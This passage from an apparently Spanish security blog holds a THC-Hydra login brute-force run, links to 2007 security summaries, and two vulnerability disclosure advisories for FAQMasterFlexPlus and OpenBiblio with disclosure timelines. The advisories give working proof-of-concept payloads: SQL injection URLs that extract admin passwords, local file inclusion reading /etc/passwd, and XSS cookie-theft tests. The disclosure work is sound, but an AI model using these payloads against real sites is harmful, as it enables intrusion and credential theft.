ejecutamos de nuevo con los mismos parámetros:

user@host~/hydra-5.4-src$ ./hydra server http-head -l user -p password -m /protected/
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2007-12-31 16:01:08
[DATA] 1 tasks, 1 servers, 1 login tries (l:1/p:1), ~1 tries per task
[DATA] attacking service http-head on port 80
[STATUS] attack finished for server (waiting for childs to finish)
[80][www] host: server login: user password: password
Hydra (http://www.thc.org ) finished at 2007-12-31 16:01:09

bingo! ahora sí lo encontro!, simplemente era un problema manejando los códigos del protocolo HTTP (buscaba el código 200 o 301). Pero en este caso el código devuelto es 403 (forbidden) y también indica que el usuario es válido (al igual que si hubiera sido 404 (not found).

ACTUALIZACIÓN: Link en inglés: Patch for the THC-Hydra 5.4 error handling http response codes.

Saludos

Resumen de seguridad informática de 2007

En Hispasec han realizado un interesante resumen de seguridad referente al pasado año 2007 en el que destacan las noticias que han considerado más relevantes de cada mes, tomando como fuente el boletín diario que publican.

Consta de 3 partes cada una sobre un cuatrimestre del año, aqui os dejo los enlaces para su consulta:

Resumen de seguridad de 2007 (I)
Resumen de seguridad de 2007 (II)
Resumen de seguridad de 2007 (III)

FAQMasterFlexPlus multiple vulnerabilities

- Security Advisory -

- FAQMasterFlexPlus multiple vulnerabilities -
---------------------------------------------------------------

Product: FAQMasterFlexPlus
Version: Latest version is affected, other not tested
Vendor: http://www.netbizcity.com
Affected by: Cross-Site Scripting & SQL injection

I. Introduction.

FaqMasterFlexPlus is a free, database-driven web-based application written in php for creating and maintaining
Frequently Asked Questions (FAQs) on your web site.
It has language support and features according documentation are: "Allow to create unlimited categories and unlimited
Questions/Answers and has web-based category and FAQ administration with Add, Edit, Delete Capability.",

It's free software, released under the GNU General Public Lisence (GPL).
Works with php & mysql and comes bundled in some versions of Fantastico (Cpanel X).

II. Description

Multiple flaws in FaqMasterFlexPlus have been discovered:

1) Cross Site Scripting:

The script faq.php suffers an XSS bug, specifically the variable $cat_name it's not properly sanitized,
an attacker exploiting this flaw can perform an XSS attack to access the targeted user cookies.

All Admin scripts to add/edit/delete categories and add/edit/delete faq don't parse correctly the user supplied input too.

PoC: http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS]

2) SQL Injection (to exploit this issue it's necesarry magic_quotes_gpc set to Off in the php.ini file).

All the scripts suffers for sql injections attacks in the querys to the database.

PoC: http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,user(),1/*

Then get a new line like this:

Q faquser@localhost

or a Proof of Concept to get the admin password:

http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,

passwrd,1%20from%20users%20where%20userid='admin

Q supersecretpassword

bingo! ;)

Besides password is stored in plain text, this is a big security flaw.

This software is infected with many bugs and must be fully audited for enforce the security.

III. Timeline

08/05/2007 - Bugs discovered
10/05/2007 - Vendor Contact (No Response)
12/12/2007 - Vendor Contacted Again (No Response)
28/12/2007 - Advisory Disclosure

IV. Credits

Juan Galiana <jgaliana gmail com>

Regards

Podeis encontrar el boletín de seguridad archivado en estos links: uno y dos.

OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities

- Security Advisory -

- OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities -
----------------------------------------------------

Product: OpenBiblio
Version: Version 0.5.2 Prerelease 4 and prior is affected
Url: http://obiblio.sourceforge.net/
Affected by: Full path disclosure, local file include, phpinfo disclosure, multiple Cross Site Scripting, SQL injection

I. Introduction.

OpenBiblio is an easy to use, automated library system written in PHP containing OPAC, circulation,
cataloging, and staff administration functionality.
OpenBiblio library administration offers an intuitive interface with broad category tabs and sidebar.

II. Description

OpenBiblio suffers multiple bugs.

1) Local File Include vulnerability: its posible to include any arbitrary local file using shared/help.php file

- Code -
if (isset($_GET["page"])) {
$page = $_GET["page"];
} else {
$page = "contents";
}
include("../locale/".OBIB_LOCALE."/help/".$page.".php");

- PoC -
http://site/openbiblio/shared/help.php?page=../../../../../../etc/passwd%00

2) Local File Include (2) (only works with register_globals On and for non php files magic_quotes_gpc must be Off)

- Code -
<?php include("../navbars/".$tab.".php");?>

- PoC -
http://site/openbiblio/shared/header.php?tab=../../../etc/passwd%00

3) This link will show phpinfo

http://site/openbiblio/phpinfo.php

Remove it!

4) Path Disclosure

Some samples:

http://site/openbiblio/shared/footer.php
Fatal error: Call to a member function on a non-object in /httpdocs/openbiblio/shared/footer.php on line 18

http://site/openbiblio/circ/mbr_fields.php
Fatal error: Call to a member function on a non-object in /httpdocs/openbiblio/circ/mbr_fields.php on line 14

http://site/openbiblio/admin/custom_marc_form_fields.php
Fatal error: Cannot instantiate non-existent class: dmquery in /httpdocs/openbiblio/admin/custom_marc_form_fields.php on line 14

Please, turn display_errors to Off in php.ini

6) Multiple Cross Site Scripting, an attacker can perform an XSS attack that allows him to access the targeted user cookies

Some samples:

http://site/openbiblio/admin/staff_del_confirm.php?UID=1&LAST=[XSS]&FIRST=[XSS]

http://site/openbiblio/admin/theme_del_confirm.php?themeid=6&name=[XSS]

In /admin/theme_preview.php an attacker can inject an XSS in the var themeName with method POST.
here is a poc:

<form action="http://site/openbiblio/admin/theme_preview.php" method="post">
<input type="text" name="themeName" size="40" value="<script>alert(document.cookie);</script>"><br><br>
<input type="submit" value="doit">
</form>

try with: <script>alert(document.cookie);</script>

6) SQL injection (session with report rol is needed to exploit this bug)

Any user with report rol can access any field of the database, including admin md5 hash.

http://site/openbiblio/reports/report_criteria.php?reset=Y&rptid=balanceDueList

&title=Balance+Due+Member+List&sql=%0A++++[SQL]%0A++

with this an attacker can get the md5 admin password:

http://site/openbiblio/reports/report_criteria.php?reset=Y&rptid=balanceDueList&title=Balance+Due

+Member+List&sql=%0A++++select+username,pwd+from+staff%20where+userid=1%0A++

then click "run report" and view the results, besides, you can choose between html and csv format ;)

staff.username staff.pwd
admin 21232f297a57a5a743894a0e4a801fc3

III. Timeline

20/08/2006 - Bugs discovered
25/08/2006 - Vendor Contacted
30/08/2006 - Release 0.5.2 (parcial patch)
21/02/2007 - Release 0.6.0 (full patch)
28/12/2007 - Advisory Disclosure

IV. Solution

Upgrade to 0.6.0 from http://obiblio.sourceforge.net/
Good work!

V. Credits

Juan Galiana <jgaliana gmail com>

Regards

Podeis encontrar el boletín de seguridad archivado en este link.